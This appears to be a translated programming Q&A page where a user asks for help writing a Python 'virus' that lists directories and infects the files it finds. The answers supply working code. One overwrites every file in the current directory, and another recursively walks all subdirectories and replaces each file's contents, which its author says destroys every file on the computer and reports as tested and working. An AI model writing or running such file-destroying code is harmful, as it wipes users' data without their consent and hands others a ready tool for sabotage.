Python Multi Line中的列表目录

时间:2013-05-05 03:41:14

标签: python directory

我需要帮助尝试在python中列出目录,我正在尝试编写python病毒,只是概念证明,没什么特别的。

#!/usr/bin/python
import os, sys
VIRUS=''
data=str(os.listdir('.'))
data=data.translate(None, "[],\n'")
print data
f = open(data, "w")
f.write(VIRUS)
f.close()

编辑:我需要它是多行的,所以当我列出directorys时,我可以感染列出的第一个文件,然后是第二个文件,依此类推。

我不想使用ls命令,因为我希望它是多平台的。

3 个答案:

答案 0 :(得分:1)

如果您要尝试再次解析,请不要在str的结果上调用os.listdir。相反,直接使用结果:

for item in os.listdir('.'):
    print item   # or do something else with item

答案 1 :(得分:0)

这样的事情:

import os
VIRUS = "some text"
data = os.listdir(".")  #returns a list of files and directories

for x in data:       #iterate over the list

    if os.path.isfile(x): #if current item is a file then perform write operation

        #use `with` statement for handling files, it automatically closes the file
        with open(x,'w') as f:
            f.write(VIRUS)

答案 2 :(得分:0)

因此,在编写这样的病毒时,您会希望它是递归的。通过这种方式,它可以进入它找到的每个目录并写入这些文件,完全破坏计算机上的每个文件。

def virus(directory=os.getcwd()):
    VIRUS = "THIS FILE IS NOW INFECTED" 
    if directory[-1] == "/": #making sure directory can be concencated with file
        pass
    else:
        directory = directory + "/" #making sure directory can be concencated with file
    files = os.listdir(directory)
    for i in files:
        location = directory + i
        if os.path.isfile(location):
            with open(location,'w') as f:
                f.write(VIRUS)
        elif os.path.isdir(location):
            virus(directory=location) #running function again if in a directory to go inside those files

现在这一行将把所有文件重写为变量VIRUS中的消息:

病毒()

额外说明:

我的默认值为directory=os.getcwd()的原因是因为您最初使用"."listdir方法中的"THIS FILE IS NOW INFECTED"将是当前工作目录文件。我需要文件目录的名称来拉取嵌套目录

这确实有效!

我在计算机上的测试目录中运行它,每个嵌套目录中的每个文件都将其内容替换为:{{1}}